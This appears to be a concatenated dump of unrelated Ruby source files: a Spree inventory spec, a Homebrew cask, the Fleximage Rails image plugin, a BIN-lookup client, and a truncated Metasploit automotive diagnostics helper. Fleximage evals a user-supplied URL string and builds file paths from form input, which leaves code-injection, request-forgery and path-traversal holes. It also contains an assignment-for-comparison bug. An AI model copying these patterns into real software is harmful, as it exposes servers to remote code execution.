ac6dd3a29ca4923998e0d677115a93804b628c16 | 8,385 | # frozen_string_literal: true
require 'rails_helper'
RSpec.describe Spree::OrderInventory, type: :model do
let(:order) { create :completed_order_with_totals }
let(:line_item) { order.line_items.first }
let(:shipment) { order.shipments.first }
let(:variant) { subject.variant }
let(:stock_item) { shipment.stock_location.stock_item(variant) }
subject { described_class.new(order, line_item) }
context "insufficient inventory units" do
let(:old_quantity) { 1 }
let(:new_quantity) { 3 }
before do
line_item.update_attributes!(quantity: old_quantity)
line_item.update_column(:quantity, new_quantity)
subject.line_item.reload
end
it 'creates the proper number of inventory units' do
expect(line_item.inventory_units.count).to eq(old_quantity)
subject.verify(shipment)
expect(line_item.inventory_units.count).to eq(new_quantity)
end
it "unstocks items" do
expect {
subject.verify(shipment)
}.to change { stock_item.reload.count_on_hand }.by(-2)
end
context "order is not completed" do
before { order.update_columns completed_at: nil }
it "doesn't unstock items" do
expect {
subject.verify(shipment)
}.not_to change { stock_item.reload.count_on_hand }
end
end
context "inventory units state" do
before { shipment.inventory_units.destroy_all }
let(:new_quantity) { 5 }
it 'sets inventory_units state as per stock location availability' do
stock_item.update_columns(
backorderable: true,
count_on_hand: 3
)
subject.verify
units = shipment.inventory_units_for(subject.variant).group_by(&:state)
expect(units['backordered'].size).to eq(2)
expect(units['on_hand'].size).to eq(3)
end
end
context "store doesnt track inventory" do
let(:new_quantity) { 1 }
before { Spree::Config.track_inventory_levels = false }
it "creates on hand inventory units" do
variant.stock_items.each(&:really_destroy!)
subject.verify(shipment)
units = shipment.inventory_units_for(variant)
expect(units.count).to eq 1
expect(units.first).to be_on_hand
end
end
context "variant doesnt track inventory" do
before { variant.update_attributes!(track_inventory: false) }
let(:new_quantity) { 1 }
it "creates on hand inventory units" do
variant.stock_items.each(&:really_destroy!)
subject.verify(shipment)
units = shipment.inventory_units_for(variant)
expect(units.count).to eq 1
expect(units.first).to be_on_hand
end
end
it 'should create stock_movement' do
expect(subject.send(:add_to_shipment, shipment, 5)).to eq(5)
stock_item = shipment.stock_location.stock_item(subject.variant)
movement = stock_item.stock_movements.last
expect(movement.originator).to eq(shipment)
expect(movement.quantity).to eq(-5)
end
context "calling multiple times" do
it "creates the correct number of inventory units" do
line_item.update_columns(quantity: 2)
subject.verify(shipment)
expect(line_item.inventory_units.count).to eq(2)
line_item.update_columns(quantity: 3)
subject.verify(shipment)
expect(line_item.inventory_units.count).to eq(3)
end
end
end
context "#determine_target_shipment" do
let(:stock_location) { create :stock_location }
let(:variant) { line_item.variant }
before do
subject.verify
order.shipments.create(stock_location_id: stock_location.id, cost: 5)
shipped = order.shipments.create(stock_location_id: order.shipments.first.stock_location.id, cost: 10)
shipped.update_column(:state, 'shipped')
end
it 'should select first non-shipped shipment that already contains given variant' do
shipment = subject.send(:determine_target_shipment)
expect(shipment.shipped?).to be false
expect(shipment.inventory_units_for(variant)).not_to be_empty
expect(variant.stock_location_ids.include?(shipment.stock_location_id)).to be true
end
context "when no shipments already contain this varint" do
before do
subject.line_item.reload
subject.inventory_units.destroy_all
end
it 'selects first non-shipped shipment that leaves from same stock_location' do
shipment = subject.send(:determine_target_shipment)
shipment.reload
expect(shipment.shipped?).to be false
expect(shipment.inventory_units_for(variant)).to be_empty
expect(variant.stock_location_ids.include?(shipment.stock_location_id)).to be true
end
end
end
context 'when order has too many inventory units' do
let(:old_quantity) { 3 }
let(:new_quantity) { 2 }
before do
line_item.update_attributes!(quantity: old_quantity)
line_item.update_column(:quantity, new_quantity)
subject.line_item.reload
end
it 'should be a messed up order' do
expect(order.shipments.first.inventory_units_for(line_item.variant).size).to eq(3)
expect(line_item.quantity).to eq(2)
end
it 'should decrease the number of inventory units' do
subject.verify
expect(line_item.inventory_units.count).to eq 2
expect(order.inventory_units.count).to eq 2
end
context "order is not completed" do
before { order.update_columns(completed_at: nil) }
it "doesn't restock items" do
expect(shipment.stock_location).not_to receive(:restock)
expect {
subject.verify(shipment)
}.not_to change { stock_item.reload.count_on_hand }
expect(line_item.inventory_units.count).to eq(new_quantity)
end
end
it 'should change count_on_hand' do
expect {
subject.verify(shipment)
}.to change { stock_item.reload.count_on_hand }.by(1)
end
it 'should create stock_movement' do
stock_item = shipment.stock_location.stock_item(variant)
expect {
subject.verify(shipment)
}.to change { stock_item.stock_movements.count }.by(1)
movement = stock_item.stock_movements.last
expect(movement.originator).to eq shipment
expect(movement.quantity).to eq(1)
end
context 'with some backordered' do
let(:new_quantity) { 1 }
before do
line_item.inventory_units[0].update_columns(state: 'backordered')
line_item.inventory_units[1].update_columns(state: 'on_hand')
line_item.inventory_units[2].update_columns(state: 'backordered')
end
it 'should destroy backordered units first' do
on_hand_unit = line_item.inventory_units.find_by state: 'on_hand'
subject.verify(shipment)
expect(line_item.inventory_units.reload).to eq([on_hand_unit])
end
end
context 'with some shipped items' do
let(:old_quantity) { 2 }
let(:new_quantity) { 1 }
let(:shipped_unit) { line_item.inventory_units[0] }
before do
shipped_unit.update_columns(state: 'shipped')
end
it 'should destroy unshipped units first' do
subject.verify(shipment)
expect(line_item.inventory_units.reload).to eq([shipped_unit])
end
context 'trying to remove shipped units' do
let(:new_quantity) { 0 }
it 'only attempts to destroy as many units as are eligible, and return amount destroyed' do
subject.verify(shipment)
expect(line_item.inventory_units.reload).to eq([shipped_unit])
end
end
end
context 'destroying all units' do
let(:new_quantity) { 0 }
it 'should destroy shipment' do
expect {
subject.verify(shipment)
}.to change{ order.shipments.count }.from(1).to(0)
end
end
context "inventory unit line item and variant points to different products" do
let(:new_quantity) { 0 }
let(:different_line_item) { create(:line_item, order: order) }
let!(:different_inventory) do
shipment.set_up_inventory("on_hand", variant, order, different_line_item)
end
it "removes only units that match both line item and variant" do
subject.verify(shipment)
expect(different_inventory.reload).to be_persisted
end
end
end
end
| 30.053763 | 108 | 0.677281 |
e2576ccb7f4ab6f05e253722df0efadedeb9cd4c | 697 | cask "steermouse" do
version "5.5.5"
sha256 "9aa09144b17ec0199a9ea2aa4ad000abc6839aba02a227fcfcce3f04a61a1af3"
url "https://plentycom.jp/ctrl/files_sm/SteerMouse#{version}.dmg"
name "SteerMouse"
homepage "https://plentycom.jp/en/steermouse/"
livecheck do
url "https://plentycom.jp/en/steermouse/download.php"
regex(/href=.*?SteerMouse[._-]?v?(\d+(?:\.\d+)+)\.dmg/i)
end
prefpane "SteerMouse.prefPane"
zap trash: "~/Library/Application Support/SteerMouse & CursorSense/Device.smsetting",
rmdir: [
"~/Library/Application Support/SteerMouse & CursorSense/Device Definitions/",
"~/Library/Application Support/SteerMouse & CursorSense/",
]
end
| 31.681818 | 87 | 0.705882 |
1885acea28c59706332138151b7f399fc50b18aa | 452 | module Dave
class Request
attr_reader :args
attr_reader :method
attr_reader :path
attr_reader :requestor
def initialize method, args, path, requestor = nil
@args, @method, @path, @requestor = args, method, path, requestor
end
def self.from_request request
self.new request.method.downcase, request.params.dup, request.path
end
def get_response
RequestHandler.handle self
end
end
end
| 18.08 | 72 | 0.683628 |
e9d97d7b68cec41b4b8d3c90a7c504b2a4216103 | 23,614 | module Fleximage
# Container for Fleximage model method inclusion modules
module Model
class MasterImageNotFound < RuntimeError #:nodoc:
end
# Include acts_as_fleximage class method
def self.included(base) #:nodoc:
base.extend(ClassMethods)
end
# Provides class methods for Fleximage for use in model classes. The only class method is
# acts_as_fleximage which integrates Fleximage functionality into a model class.
#
# The following class level accessors also get inserted.
#
# * +image_directory+: (String, no default) Where the master images are stored, directory path relative to your
# app root.
# * +use_creation_date_based_directories+: (Boolean, default +true+) If true, master images will be stored in
# directories based on creation date. For example: <tt>"#{image_directory}/2007/11/24/123.png"</tt> for an
# image with an id of 123 and a creation date of November 24, 2007. Turing this off would cause the path
# to be "#{image_directory}/123.png" instead. This helps keep the OS from having directories that are too
# full.
# * +image_storage_format+: (:png or :jpg, default :png) The format of your master images. Using :png will give
# you the best quality, since the master images as stored as lossless version of the original upload. :jpg
# will apply lossy compression, but the master image file sizes will be much smaller. If storage space is a
# concern, us :jpg.
# * +require_image+: (Boolean, default +true+) The model will raise a validation error if no image is uploaded
# with the record. Setting to false allows record to be saved with no images.
# * +missing_image_message+: (String, default "is required") Validation message to display when no image was uploaded for
# a record.
# * +invalid_image_message+: (String default "was not a readable image") Validation message when an image is uploaded, but is not an
# image format that can be read by RMagick.
# * +output_image_jpg_quality+: (Integer, default 85) When rendering JPGs, this represents the amount of
# compression. Valid values are 0-100, where 0 is very small and very ugly, and 100 is near lossless but
# very large in filesize.
# * +default_image_path+: (String, nil default) If no image is present for this record, the image at this path will be
# used instead. Useful for a placeholder graphic for new content that may not have an image just yet.
# * +default_image+: A hash which defines an empty starting image. This hash look like: <tt>:size => '123x456',
# :color => :transparent</tt>, where <tt>:size</tt> defines the dimensions of the default image, and <tt>:color</tt>
# defines the fill. <tt>:color</tt> can be a named color as a string ('red'), :transparent, or a Magick::Pixel object.
# * +preprocess_image+: (Block, no default) Call this class method just like you would call +operate+ in a view.
# The image transoformation in the provided block will be run on every uploaded image before its saved as the
# master image.
#
# Example:
#
# class Photo < ActiveRecord::Base
# acts_as_fleximage do
# image_directory 'public/images/uploaded'
# use_creation_date_based_directories true
# image_storage_format :png
# require_image true
# missing_image_message 'is required'
# invalid_image_message 'was not a readable image'\
# default_image_path 'public/images/no_photo_yet.png'
# default_image nil
# output_image_jpg_quality 85
#
# preprocess_image do |image|
# image.resize '1024x768'
# end
# end
#
# # normal model methods...
# end
module ClassMethods
# Use this method to include Fleximage functionality in your model. It takes an
# options hash with a single required key, :+image_directory+. This key should
# point to the directory you want your images stored on your server. Or
# configure with a nice looking block.
def acts_as_fleximage(options = {})
# Include the necesary instance methods
include Fleximage::Model::InstanceMethods
# Call this class method just like you would call +operate+ in a view.
# The image transoformation in the provided block will be run on every uploaded image before its saved as the
# master image.
def self.preprocess_image(&block)
preprocess_image_operation(block)
end
# Internal method to ask this class if it stores image in the DB.
def self.db_store?
columns.find do |col|
col.name == 'image_file_data'
end
end
def self.has_store?
db_store? || image_directory
end
# validation callback
validate :validate_image
# The filename of the temp image. Used for storing of good images when validation fails
# and the form needs to be redisplayed.
attr_reader :image_file_temp
# Setter for jpg compression quality at the instance level
attr_accessor :jpg_compression_quality
# Where images get stored
dsl_accessor :image_directory
# Put uploads from different days into different subdirectories
dsl_accessor :use_creation_date_based_directories, :default => true
# The format are master images are stored in
dsl_accessor :image_storage_format, :default => Proc.new { :png }
# Require a valid image. Defaults to true. Set to false if its ok to have no image for
dsl_accessor :require_image, :default => true
def self.translate_error_message(name, fallback, options = {})
translation = I18n.translate "activerecord.errors.models.#{self.model_name.underscore}.#{name}", options
if translation.match /translation missing:/
I18n.translate "activerecord.errors.messages.#{name}", options.merge({ :default => fallback })
end
end
# Missing image message
#dsl_accessor :missing_image_message, :default => 'is required'
def self.missing_image_message(str = nil)
if str.nil?
if @missing_image_message
@missing_image_message
else
translate_error_message("missing_image", "is required")
end
else
@missing_image_message = str
end
end
# Invalid image message
#dsl_accessor :invalid_image_message, :default => 'was not a readable image'
def self.invalid_image_message(str = nil)
if str.nil?
if @invalid_image_message
@invalid_image_message
else
translate_error_message("invalid_image", "was not a readable image")
end
else
@invalid_image_message = str
end
end
# Image too small message
# Should include {{minimum}}
def self.image_too_small_message(str = nil)
fb = "is too small (Minimum: {{minimum}})"
if str.nil?
if @image_too_small_message
@image_too_small_message.gsub("{{minimum}}", minimum_image_size_to_s)
else
translate_error_message("image_too_small", fb.gsub("{{minimum}}", minimum_image_size_to_s), :minimum => minimum_image_size_to_s)
end
else
@image_too_small_message = str
end
end
def self.minimum_image_size_to_s
if minimum_image_size.is_a?(Array) && minimum_image_size.size == 2
"#{minimum_image_size[0]}x#{minimum_image_size[1]}"
end
end
# Sets the quality of rendered JPGs
dsl_accessor :output_image_jpg_quality, :default => 85
# Set a default image to use when no image has been assigned to this record
dsl_accessor :default_image_path
# Set a default image based on a a size and fill
dsl_accessor :default_image
# A block that processes an image before it gets saved as the master image of a record.
# Can be helpful to resize potentially huge images to something more manageable. Set via
# the "preprocess_image { |image| ... }" class method.
dsl_accessor :preprocess_image_operation
# Set a minimum size ([x, y] e.g. [800, 600])
# Set [0, 600] to just enforce y size or
# [800, 0] to just validate x size.
dsl_accessor :minimum_image_size
# Image related save and destroy callbacks
after_destroy :delete_image_file
before_save :pre_save
after_save :post_save
# execute configuration block
yield if block_given?
# set the image directory from passed options
image_directory options[:image_directory] if options[:image_directory]
# Require the declaration of a master image storage directory
if !image_directory && !db_store? && !default_image && !default_image_path
raise "No place to put images! Declare this via the :image_directory => 'path/to/directory' option\n"+
"Or add a database column named image_file_data for DB storage"
end
end
def image_file_exists(file)
# File must be a valid object
return false if file.nil?
# Get the size of the file. file.size works for form-uploaded images, file.stat.size works
# for file object created by File.open('foo.jpg', 'rb'). It must have a size > 0.
return false if (file.respond_to?(:size) ? file.size : file.stat.size) <= 0
# object must respond to the read method to fetch its contents.
return false if !file.respond_to?(:read)
# file validation passed, return true
true
end
end
# Provides methods that every model instance that acts_as_fleximage needs.
module InstanceMethods
# Returns the path to the master image file for this record.
#
# @some_image.directory_path #=> /var/www/myapp/uploaded_images
#
# If this model has a created_at field, it will use a directory
# structure based on the creation date, to prevent hitting the OS imposed
# limit on the number files in a directory.
#
# @some_image.directory_path #=> /var/www/myapp/uploaded_images/2008/3/30
def directory_path
raise 'No image directory was defined, cannot generate path' unless self.class.image_directory
# base directory
directory = "#{RAILS_ROOT}/#{self.class.image_directory}"
# specific creation date based directory suffix.
creation = self[:created_at] || self[:created_on]
if self.class.use_creation_date_based_directories && creation
"#{directory}/#{creation.year}/#{creation.month}/#{creation.day}"
else
directory
end
end
# Returns the path to the master image file for this record.
#
# @some_image.file_path #=> /var/www/myapp/uploaded_images/123.png
def file_path
"#{directory_path}/#{id}.#{self.class.image_storage_format}"
end
# Sets the image file for this record to an uploaded file. This can
# be called directly, or passively like from an ActiveRecord mass
# assignment.
#
# Rails will automatically call this method for you, in most of the
# situations you would expect it to.
#
# # via mass assignment, the most common form you'll probably use
# Photo.new(params[:photo])
# Photo.create(params[:photo])
#
# # via explicit assignment hash
# Photo.new(:image_file => params[:photo][:image_file])
# Photo.create(:image_file => params[:photo][:image_file])
#
# # Direct Assignment, usually not needed
# photo = Photo.new
# photo.image_file = params[:photo][:image_file]
#
# # via an association proxy
# p = Product.find(1)
# p.images.create(params[:photo])
def image_file=(file)
if self.class.image_file_exists(file)
# Create RMagick Image object from uploaded file
if file.path
@uploaded_image = Magick::Image.read(file.path).first
else
@uploaded_image = Magick::Image.from_blob(file.read).first
end
# Sanitize image data
@uploaded_image.colorspace = Magick::RGBColorspace
@uploaded_image.density = '72'
# Save meta data to database
set_magic_attributes(file)
# Success, make sure everything is valid
@invalid_image = false
save_temp_image(file) unless @dont_save_temp
end
rescue Magick::ImageMagickError => e
error_strings = [
'Improper image header',
'no decode delegate for this image format',
'UnableToOpenBlob'
]
if e.to_s =~ /#{error_strings.join('|')}/
@invalid_image = true
else
raise e
end
end
# Assign the image via a URL, which will make the plugin go
# and fetch the image at the provided URL. The image will be stored
# locally as a master image for that record from then on. This is
# intended to be used along side the image upload to allow people the
# choice to upload from their local machine, or pull from the internet.
#
# @photo.image_file_url = 'http://foo.com/bar.jpg'
def image_file_url=(file_url)
@image_file_url = file_url
if file_url =~ %r{^https?://}
file = open(file_url)
# Force a URL based file to have an original_filename
eval <<-CODE
def file.original_filename
"#{file_url}"
end
CODE
self.image_file = file
elsif file_url.empty?
# Nothing to process, move along
else
# invalid URL, raise invalid image validation error
@invalid_image = true
end
end
# Sets the uploaded image to the name of a file in RAILS_ROOT/tmp that was just
# uploaded. Use as a hidden field in your forms to keep an uploaded image when
# validation fails and the form needs to be redisplayed
def image_file_temp=(file_name)
if !@uploaded_image && file_name && file_name.any?
@image_file_temp = file_name
file_path = "#{RAILS_ROOT}/tmp/fleximage/#{file_name}"
@dont_save_temp = true
if File.exists?(file_path)
File.open(file_path, 'rb') do |f|
self.image_file = f
end
end
@dont_save_temp = false
end
end
# Return the @image_file_url that was previously assigned. This is not saved
# in the database, and only exists to make forms happy.
def image_file_url
@image_file_url
end
# Return true if this record has an image.
def has_image?
@uploaded_image || @output_image || has_saved_image?
end
def has_saved_image?
self.class.db_store? ? !!image_file_data : File.exists?(file_path)
end
# Call from a .flexi view template. This enables the rendering of operators
# so that you can transform your image. This is the method that is the foundation
# of .flexi views. Every view should consist of image manipulation code inside a
# block passed to this method.
#
# # app/views/photos/thumb.jpg.flexi
# @photo.operate do |image|
# image.resize '320x240'
# end
def operate(&block)
returning self do
proxy = ImageProxy.new(load_image, self)
block.call(proxy)
@output_image = proxy.image
end
end
# Load the image from disk/DB, or return the cached and potentially
# processed output image.
def load_image #:nodoc:
@output_image ||= @uploaded_image
# Return the current image if we have loaded it already
return @output_image if @output_image
# Load the image from disk
if self.class.has_store?
if self.class.db_store?
if image_file_data && image_file_data.any?
# Load the image from the database column
@output_image = Magick::Image.from_blob(image_file_data).first
else
master_image_not_found
end
else
# Load the image from the disk
@output_image = Magick::Image.read(file_path).first
end
else
master_image_not_found
end
rescue Magick::ImageMagickError => e
if e.to_s =~ /unable to open (file|image)/
master_image_not_found
else
raise e
end
end
# Convert the current output image to a jpg, and return it in binary form. options support a
# :format key that can be :jpg, :gif or :png
def output_image(options = {}) #:nodoc:
format = (options[:format] || :jpg).to_s.upcase
@output_image.format = format
@output_image.strip!
if format = 'JPG'
quality = @jpg_compression_quality || self.class.output_image_jpg_quality
@output_image.to_blob { self.quality = quality }
else
@output_image.to_blob
end
ensure
GC.start
end
# Delete the image file for this record. This is automatically ran after this record gets
# destroyed, but you can call it manually if you want to remove the image from the record.
def delete_image_file
return unless self.class.has_store?
if self.class.db_store?
update_attribute :image_file_data, nil unless frozen?
else
File.delete(file_path) if File.exists?(file_path)
end
clear_magic_attributes
self
end
# Execute image presence and validity validations.
def validate_image #:nodoc:
field_name = (@image_file_url && @image_file_url.any?) ? :image_file_url : :image_file
if @invalid_image
errors.add field_name, self.class.invalid_image_message
elsif self.class.require_image && !has_image?
errors.add field_name, self.class.missing_image_message
elsif self.class.minimum_image_size.is_a?(Array) &&
self.class.minimum_image_size.size == 2 &&
!@uploaded_image.nil?
if @uploaded_image.columns < self.class.minimum_image_size[0] ||
@uploaded_image.rows < self.class.minimum_image_size[1]
errors.add field_name, self.class.image_too_small_message
end
end
end
private
# Perform pre save tasks. Preprocess the image, and write it to DB.
def pre_save
if @uploaded_image
# perform preprocessing
perform_preprocess_operation
# Convert to storage format
@uploaded_image.format = self.class.image_storage_format.to_s.upcase
# Write image data to the DB field
if self.class.db_store?
self.image_file_data = @uploaded_image.to_blob
end
end
end
# Write image to file system and cleanup garbage.
def post_save
if @uploaded_image && !self.class.db_store?
# Make sure target directory exists
FileUtils.mkdir_p(directory_path)
# Write master image file
@uploaded_image.write(file_path)
end
# Cleanup temp files
delete_temp_image
# Start GC to close up memory leaks
GC.start if @uploaded_image
end
# Preprocess this image before saving
def perform_preprocess_operation
if self.class.preprocess_image_operation
operate(&self.class.preprocess_image_operation)
set_magic_attributes #update width and height magic columns
@uploaded_image = @output_image
end
end
def clear_magic_attributes
unless frozen?
self.image_filename = nil if respond_to?(:image_filename=)
self.image_width = nil if respond_to?(:image_width=)
self.image_height = nil if respond_to?(:image_height=)
end
end
# If any magic column names exists fill them with image meta data.
def set_magic_attributes(file = nil)
if file && self.respond_to?(:image_filename=)
filename = file.original_filename if file.respond_to?(:original_filename)
filename = file.basename if file.respond_to?(:basename)
self.image_filename = filename
end
self.image_width = @uploaded_image.columns if self.respond_to?(:image_width=)
self.image_height = @uploaded_image.rows if self.respond_to?(:image_height=)
end
# Save the image in the rails tmp directory
def save_temp_image(file)
file_name = file.respond_to?(:original_filename) ? file.original_filename : file.path
@image_file_temp = file_name.split('/').last
path = "#{RAILS_ROOT}/tmp/fleximage"
FileUtils.mkdir_p(path)
File.open("#{path}/#{@image_file_temp}", 'w') do |f|
file.rewind
f.write file.read
end
end
# Delete the temp image after its no longer needed
def delete_temp_image
FileUtils.rm_rf "#{RAILS_ROOT}/tmp/fleximage/#{@image_file_temp}"
end
# Load the default image, or raise an expection
def master_image_not_found
# Load the default image from a path
if self.class.default_image_path
@output_image = Magick::Image.read("#{RAILS_ROOT}/#{self.class.default_image_path}").first
# Or create a default image
elsif self.class.default_image
x, y = Fleximage::Operator::Base.size_to_xy(self.class.default_image[:size])
color = self.class.default_image[:color]
@output_image = Magick::Image.new(x, y) do
self.background_color = color if color && color != :transparent
end
# No default, not master image, so raise exception
else
message = "Master image was not found for this record"
if !self.class.db_store?
message << "\nExpected image to be at:"
message << "\n #{file_path}"
end
raise MasterImageNotFound, message
end
end
end
end
end
| 39.687395 | 142 | 0.607309 |
b9643e16ab34c4734cb36960e9fd1d8b68cd47ab | 1,727 | require "net/https"
require "uri"
require "json"
require "binocular/version"
module Binocular
class Bin
attr_accessor :settings, :bin_number
attr_reader :info, :errors
DEFAULT_SETTINGS = { proxy_host: nil, proxy_port: nil }
def self.info bin_number
self.new(bin_number).fetch_info
end
def initialize(bin_number, settings=DEFAULT_SETTINGS)
self.settings = settings
self.bin_number = bin_number
end
def proxy_host
self.settings[:proxy_host] ? self.settings[:proxy_host] : nil
end
def proxy_port
self.settings[:proxy_port] ? self.settings[:proxy_port] : nil
end
def timeout
self.settings[:timeout] ? self.settings[:timeout] : 20
end
def fetch_info
return @errors unless valid?
uri = URI.parse("http://www.binlist.net/json/#{self.bin_number}")
http = Net::HTTP.new(uri.host, uri.port, self.proxy_host, self.proxy_port)
http.use_ssl = false
http.open_timeout = self.timeout
http.read_timeout = self.timeout
request = Net::HTTP::Get.new(uri.request_uri)
response = http.request(request)
@info = JSON.parse response.body
rescue JSON::ParserError => e
@errors = { errors: response.body }
rescue Exception => e
@errors = { errors: e.to_s }
end
def valid?
if (numeric? self.bin_number) && (valid_length? self.bin_number)
return true
else
@errors = { errors: "bin_number should be 6-length numeric" }
return false
end
end
private
def numeric? val
val.to_i.to_s == val.to_s
rescue
false
end
def valid_length? val
val.size == 6
end
end
end
| 23.657534 | 80 | 0.633468 |
5dca25a51cecadf814b61e3581e76e7761c5d4a7 | 32,575 | # -*- coding: binary -*-
module Msf
class Post
module Hardware
module Automotive
module UDS
#
# Helper method to take client.automotive response hashes and return a single array in order, This
# takes the ISO-TP Packets and assembles them in order, strips out the ISO-TP/UDS related info
# and returns just the data section as an array
#
# @param id [String] Hex value as string. Example: 7e0
# @param hash [Hash] Hash that includes "Packets" => [ { "ID" => "0xXXX", "DATA => [ "XX", "XX" ] } ]
# @param start_offset [Integer] First packet start offset after meta data
#
# @return [Array] Just the data portion of an ISO-TP response represented as Hex Strings
#
def response_hash_to_data_array(id, hash, start_offset = 5)
data = []
return data unless hash
bad_count = 0
if hash.key? "Packets"
unless hash["Packets"].size > 1 # Not multiple packets
pktdata = hash["Packets"][0]["DATA"]
if pktdata[1] == 0x7F
print_line("Packet response was an error")
else
data = pktdata[3, pktdata.size-1]
end
return data
end
left2combine = hash["Packets"].size
counter = 0
while left2combine.positive? && (bad_count < (hash["Packets"].size * 2))
# print_line("DEBUG Current status combine=#{left2combine} data=#{data.inspect}")
hash["Packets"].each do |pkt|
if (pkt.key? "ID") && pkt["ID"].hex == id.hex
if pkt.key? "DATA"
if counter.zero? # Get starting packet
if pkt["DATA"][0] == "10"
data += pkt["DATA"][start_offset, 8 - start_offset]
left2combine -= 1
counter += 1
else
bad_count += 1
end
else # Got the first packet, get the 2x series
# TODO: Support rollover counter, rare but technically possible
if pkt["DATA"][0] == "%02x" % (0x20 + counter)
data += pkt["DATA"][1, pkt["DATA"].size]
left2combine -= 1
counter += 1
else
bad_count += 1
end
end
end
end
end
end
if bad_count >= (hash["Packets"].size * 2)
print_error("bad packet count exceeded normal limits. Packet parser failed")
end
end
data
end
### Mode $01 ###
#
# Shows the vehicles current data
#
# @param bus [String] unique CAN bus identifier
# @param src_id [Integer] Integer representation of the Sending CAN ID
# @param dst_id [Integer] Integer representation of the receiving CAN ID
# @param pid [Integer] Integer of the PID to get data about
# @param opt [Hash] Additional options to be passed to automotive.send_isotp_and_wait_for_response
#
# @return [Hash] client.automotive response
def get_current_data(bus, src_id, dst_id, pid, opt = {})
unless client.automotive
print_error("Not an automotive hwbridge session")
return {}
end
src_id = src_id.to_s(16)
dst_id = dst_id.to_s(16)
bus = client.automotive.active_bus unless bus
unless bus
print_line("No active bus, use 'connect' or specify bus via the options")
return {}
end
client.automotive.send_isotp_and_wait_for_response(bus, src_id, dst_id, [0x01, pid], opt)
end
#
# Get all supported pids for current data
#
# @param bus [String] unique CAN bus identifier
# @param src_id [Integer] Integer representation of the Sending CAN ID
# @param dst_id [Integer] Integer representation of the receiving CAN ID
#
# @return [Array] All supported pids from Mode $01 get current data
def get_current_data_pids(bus, src_id, dst_id)
pids = []
packets = get_current_data(bus, src_id, dst_id, 0, { "MAXPKTS" => 1 })
return pids if packets.nil?
if (packets.key? "Packets") && !packets["Packets"].empty?
hexpids = packets["Packets"][0]["DATA"][3, 6]
hexpids = hexpids.join.hex.to_s(2).rjust(32, '0').split('') # Array of 1s and 0s
(1..0x20).each do |pid|
pids << pid if hexpids[pid-1] == "1"
end
end
if pids.include? 0x20
packets = get_current_data(bus, src_id, dst_id, 0x20, { "MAXPKTS" => 1 })
if (packets.key? "Packets") && !packets["Packets"].empty?
hexpids = packets["Packets"][0]["DATA"][3, 6]
hexpids = hexpids.join.hex.to_s(2).rjust(32, '0').split('') # Array of 1s and 0s
(0x20..0x40).each do |pid|
pids << pid if hexpids[pid-0x21] == "1"
end
end
end
if pids.include? 0x40
packets = get_current_data(bus, src_id, dst_id, 0x40, { "MAXPKTS" => 1 })
if (packets.key? "Packets") && !packets["Packets"].empty?
hexpids = packets["Packets"][0]["DATA"][3, 6]
hexpids = hexpids.join.hex.to_s(2).rjust(32, '0').split('') # Array of 1s and 0s
(0x40..0x60).each do |pid|
pids << pid if hexpids[pid-0x41] == "1"
end
end
end
if pids.include? 0x60
packets = get_current_data(bus, src_id, dst_id, 0x60, { "MAXPKTS" => 1 })
if (packets.key? "Packets") && !packets["Packets"].empty?
hexpids = packets["Packets"][0]["DATA"][3, 6]
hexpids = hexpids.join.hex.to_s(2).rjust(32, '0').split('') # Array of 1s and 0s
(0x60..0x80).each do |pid|
pids << pid if hexpids[pid-0x61] == "1"
end
end
end
if pids.include? 0x80
packets = get_current_data(bus, src_id, dst_id, 0x80, { "MAXPKTS" => 1 })
if (packets.key? "Packets") && !packets["Packets"].empty?
hexpids = packets["Packets"][0]["DATA"][3, 6]
hexpids = hexpids.join.hex.to_s(2).rjust(32, '0').split('') # Array of 1s and 0s
(0x80..0xA0).each do |pid|
pids << pid if hexpids[pid-0x81] == "1"
end
end
end
if pids.include? 0xA0
packets = get_current_data(bus, src_id, dst_id, 0xA0, { "MAXPKTS" => 1 })
if (packets.key? "Packets") && !packets["Packets"].empty?
hexpids = packets["Packets"][0]["DATA"][3, 6]
hexpids = hexpids.join.hex.to_s(2).rjust(32, '0').split('') # Array of 1s and 0s
(0xA0..0xC0).each do |pid|
pids << pid if hexpids[pid-0xA1] == "1"
end
end
end
if pids.include? 0xC0
packets = get_current_data(bus, src_id, dst_id, 0xC0, { "MAXPKTS" => 1 })
if (packets.key? "Packets") && !packets["Packets"].empty?
hexpids = packets["Packets"][0]["DATA"][3, 6]
hexpids = hexpids.join.hex.to_s(2).rjust(32, '0').split('') # Array of 1s and 0s
(0xC0..0xE0).each do |pid|
pids << pid if hexpids[pid - 0xC1] == "1"
end
end
end
pids
end
#
# Mode $01 Pid $01 gets and parses the monitor status
#
# @param bus [String] unique CAN bus identifier
# @param src_id [Integer] Integer representation of the Sending CAN ID
# @param dst_id [Integer] Integer representation of the receiving CAN ID
#
# @return [Hash] Packet Hash with { "MIL" => true|false "DTC_COUNT" => 0 }
def get_monitor_status(bus, src_id, dst_id)
packets = get_current_data(bus, src_id, dst_id, 0x01, { "MAXPKTS" => 1 })
return {} if packets.nil?
return packets if packets.key? "error"
return packets unless packets.key? "Packets"
packets["MIL"] = packets["Packets"][0]["DATA"][3].hex & 0xB0 == 1 ? true : false
packets["DTC_COUNT"] = packets["Packets"][0]["DATA"][3].hex & 0x7F
packets
end
#
# Gets the engine coolant temprature in both Celcious and Fahrenheit
#
# @param bus [String] unique CAN bus identifier
# @param src_id [Integer] Integer representation of the Sending CAN ID
# @param dst_id [Integer] Integer representation of the receiving CAN ID
#
# @return [Hash] Packet Hash with { "TEMP_C" => <Celcious Temp>, "TEMP_F" => <Fahrenheit TEmp> }
def get_engine_coolant_temp(bus, src_id, dst_id)
packets = get_current_data(bus, src_id, dst_id, 0x05, { "MAXPKTS" => 1 })
return {} if packets.nil?
return packets if packets.key? "error"
return packets unless packets.key? "Packets"
celsius = packets["Packets"][0]["DATA"][3].hex - 40
fahrenheit = celsius * 9 / 5 + 32
packets["TEMP_C"] = celsius
packets["TEMP_F"] = fahrenheit
packets
end
#
# Gets the engine's current RPMs
#
# @param bus [String] unique CAN bus identifier
# @param src_id [Integer] Integer representation of the Sending CAN ID
# @param dst_id [Integer] Integer representation of the receiving CAN ID
#
# @return [Hash] Packet Hash with { "RPM" => <RPMs> }
def get_rpms(bus, src_id, dst_id)
packets = get_current_data(bus, src_id, dst_id, 0x0C, { "MAXPKTS" => 1 })
return {} if packets.nil?
return packets if packets.key? "error"
return packets unless packets.key? "Packets"
packets["RPM"] = (256 * packets["Packets"][0]["DATA"][3].hex + packets["Packets"][0]["DATA"][4].hex) / 4
packets
end
#
# Gets the engine's current vehicle speed in km/h and mph
#
# @param bus [String] unique CAN bus identifier
